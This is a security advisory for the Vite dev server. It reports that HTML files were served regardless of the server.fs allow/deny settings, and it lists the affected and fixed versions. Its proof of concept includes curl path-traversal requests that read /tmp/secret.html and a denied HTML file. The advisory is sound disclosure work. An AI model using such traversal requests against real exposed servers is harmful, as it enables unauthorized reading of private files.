GHSA-jqfw-vq24-v9c3

Suggest an improvement
Source
https://github.com/advisories/GHSA-jqfw-vq24-v9c3
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-jqfw-vq24-v9c3/GHSA-jqfw-vq24-v9c3.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-jqfw-vq24-v9c3
Aliases
Related
Published
2025-09-09T20:54:42Z
Modified
2025-09-09T21:42:25.007022Z
Severity
  • 2.3 (Low) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
Vite's `server.fs` settings were not applied to HTML files
Details

Summary

Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details

The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:

echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'

You will receive a 403 HTTP Response,  because everything in the secret_files directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'

You will receive the contents of secret_files/secret.html.

Database specific
{
    "severity": "LOW",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-200",
        "CWE-23",
        "CWE-284"
    ],
    "github_reviewed_at": "2025-09-09T20:54:42Z",
    "nvd_published_at": "2025-09-08T23:15:36Z"
}
References

Affected packages

npm / vite

Package

Affected ranges

Type
SEMVER
Events
Introduced
7.1.0
Fixed
7.1.5

Database specific

{
    "last_known_affected_version_range": "<= 7.1.4"
}

npm / vite

Package

Affected ranges

Type
SEMVER
Events
Introduced
7.0.0
Fixed
7.0.7

Database specific

{
    "last_known_affected_version_range": "<= 7.0.6"
}

npm / vite

Package

Affected ranges

Type
SEMVER
Events
Introduced
6.0.0
Fixed
6.3.6

Database specific

{
    "last_known_affected_version_range": "<= 6.3.5"
}

npm / vite

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
5.4.20

Database specific

{
    "last_known_affected_version_range": "<= 5.4.19"
}